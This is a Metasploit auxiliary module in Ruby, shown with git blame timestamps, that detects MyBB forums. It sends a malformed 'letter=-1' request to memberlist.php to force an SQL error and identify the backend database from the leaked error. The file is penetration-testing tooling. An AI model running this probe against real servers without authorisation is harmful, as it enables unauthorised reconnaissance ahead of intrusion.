metasploit-framework/modules/auxiliary/gather/mybb_db_fingerprint.rb

109 lines
2.8 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 13:02:44 +00:00
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
2014-05-27 15:29:32 +00:00
'Name' => 'MyBB Database Fingerprint',
'Description' => %q{
2014-05-27 15:14:55 +00:00
This module checks if MyBB is running behind an URL. Also uses a malformed query to
2014-05-27 15:22:39 +00:00
force an error and fingerprint the backend database used by MyBB on version 1.6.12
and prior.
},
2014-05-27 15:14:55 +00:00
'Author' =>
[
#http://www.linkedin.com/pub/arthur-karmanovskii/82/923/812
2014-05-27 15:14:55 +00:00
'Arthur Karmanovskii <fnsnic[at]gmail.com>' # Discovery and Metasploit Module
],
2014-05-27 15:14:55 +00:00
'License' => MSF_LICENSE,
'DisclosureDate' => 'Feb 13 2014'))
register_options(
[
OptString.new('TARGETURI', [ true, "MyBB forum directory path", '/forum'])
])
end
def check
begin
uri = normalize_uri(target_uri.path, 'index.php')
res = send_request_cgi(
{
'method' => 'GET',
'uri' => uri,
'vars_get' => {
'intcheck' => 1
}
})
2014-05-27 15:14:55 +00:00
if res.nil? || res.code != 200
return Exploit::CheckCode::Unknown
end
# Check PhP
php_version = res['X-Powered-By']
if php_version
2014-05-27 15:18:27 +00:00
php_version = "#{php_version}"
else
2014-05-27 15:14:55 +00:00
php_version = "PHP version unknown"
end
# Check Web-Server
web_server = res['Server']
if web_server
2014-05-27 15:14:55 +00:00
web_server = "#{web_server}"
else
2014-05-27 15:14:55 +00:00
web_server = "unknown web server"
end
# Check forum MyBB
if res.body.match("&#077;&#089;&#066;&#066;")
2016-02-01 22:06:34 +00:00
print_good("MyBB forum found running on #{web_server} / #{php_version}")
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Unknown
end
2014-05-27 15:14:55 +00:00
rescue
return Exploit::CheckCode::Unknown
end
end
def run
2016-02-01 22:06:34 +00:00
print_status("Checking MyBB...")
2014-05-27 15:14:55 +00:00
unless check == Exploit::CheckCode::Detected
2016-02-01 22:06:34 +00:00
print_error("MyBB not found")
2014-05-27 15:14:55 +00:00
return
end
2016-02-01 22:06:34 +00:00
print_status("Checking database...")
uri = normalize_uri(target_uri.path, 'memberlist.php')
response = send_request_cgi(
{
'method' => 'GET',
'uri' => uri,
'vars_get' => {
'letter' => -1
}
})
if response.nil?
2016-02-01 22:06:34 +00:00
print_error("Timeout...")
return
end
# Resolve response
if response.body.match(/SELECT COUNT\(\*\) AS users FROM mybb_users u WHERE 1=1 AND u.username NOT REGEXP\(\'\[a-zA-Z\]\'\)/)
2016-02-01 22:06:34 +00:00
print_good("Running PostgreSQL Database")
elsif response.body.match(/General error\: 1 no such function\: REGEXP/)
2016-02-01 22:06:34 +00:00
print_good("Running SQLite Database")
else
2016-02-01 22:06:34 +00:00
print_status("Running MySQL or unknown database")
end
end
end